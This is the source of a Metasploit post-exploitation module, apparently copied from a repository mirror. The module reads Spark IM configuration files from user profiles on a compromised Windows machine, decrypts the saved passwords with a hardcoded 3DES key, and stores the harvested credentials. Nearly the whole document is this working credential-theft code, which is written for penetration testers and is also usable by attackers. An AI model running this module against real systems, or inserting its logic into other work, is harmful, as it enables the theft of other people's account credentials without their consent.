Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

spark_im.rb 3.8KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex'
  7. require 'openssl'
  8. class Metasploit3 < Msf::Post
  9. include Msf::Post::Windows::UserProfiles
  10. def initialize(info={})
  11. super(update_info(info,
  12. 'Name' => 'Windows Gather Spark IM Password Extraction',
  13. 'Description' => %q{
  14. This module will enumerate passwords stored by the Spark IM client.
  15. The encryption key is publicly known. This module will not only extract encrypted
  16. password but will also decrypt password using public key.
  17. },
  18. 'License' => MSF_LICENSE,
  19. 'Author' =>
  20. [
  21. 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
  22. 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
  23. ],
  24. 'SessionTypes' => [ 'meterpreter' ],
  25. 'References' =>
  26. [
  27. [ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
  28. ]
  29. ))
  30. end
  31. # decrypt spark password
  32. def decrypt(hash)
  33. # code to decrypt hash with KEY
  34. encrypted = hash.unpack("m")[0]
  35. key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
  36. cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
  37. cipher.decrypt
  38. cipher.key = key
  39. password = cipher.update encrypted
  40. password << cipher.final
  41. password = ::Rex::Text.to_utf8(password)
  42. user, pass = password.scan(/[[:print:]]+/)
  43. cred_opts = {}
  44. if pass.nil? or pass.empty?
  45. print_status("Username found: #{user}, but no password")
  46. cred_opts.merge!(user: user)
  47. else
  48. print_good("Decrypted Username #{user} Password: #{pass}")
  49. cred_opts.merge!(user: user, password: pass)
  50. end
  51. cred_opts.merge!(
  52. ip: client.sock.peerhost,
  53. port: 5222,
  54. service_name: 'spark'
  55. )
  56. report_cred(cred_opts)
  57. end
  58. def report_cred(opts)
  59. service_data = {
  60. address: opts[:ip],
  61. port: opts[:port],
  62. service_name: opts[:service_name],
  63. protocol: 'tcp',
  64. workspace_id: myworkspace_id
  65. }
  66. credential_data = {
  67. module_fullname: fullname,
  68. post_reference_name: self.refname,
  69. session_id: session_db_id,
  70. origin_type: :session,
  71. username: opts[:user],
  72. private_type: :password
  73. }.merge(service_data)
  74. if opts[:password]
  75. credential_data.merge!(
  76. private_data: opts[:password],
  77. )
  78. end
  79. login_data = {
  80. core: create_credential(credential_data),
  81. status: Metasploit::Model::Login::Status::UNTRIED,
  82. }.merge(service_data)
  83. create_credential_login(login_data)
  84. end
  85. # main control method
  86. def run
  87. grab_user_profiles().each do |user|
  88. unless user['AppData'].nil?
  89. accounts = user['AppData'] + "\\Spark\\spark.properties"
  90. # open the file for reading
  91. config = client.fs.file.new(accounts, 'r') rescue nil
  92. next if config.nil?
  93. print_status("Config found for user #{user['UserName']}")
  94. # read the contents of file
  95. contents = config.read
  96. # look for lines containing string 'password'
  97. password = contents.split("\n").grep(/password/)
  98. if password.nil?
  99. # file doesn't contain a password
  100. print_status("#{file} does not contain any saved passwords")
  101. # close file and return
  102. config.close
  103. return
  104. end
  105. # store the hash close the file
  106. password = password.delete_if {|e| e !~ /password.+=.+=\r/}
  107. password.each do | pass |
  108. if pass.nil?
  109. next
  110. end
  111. hash = pass.split("password").join.chomp
  112. vprint_status("Spark password hash: #{hash}")
  113. # call method to decrypt hash
  114. decrypt(hash)
  115. end
  116. config.close
  117. end
  118. end
  119. end
  120. end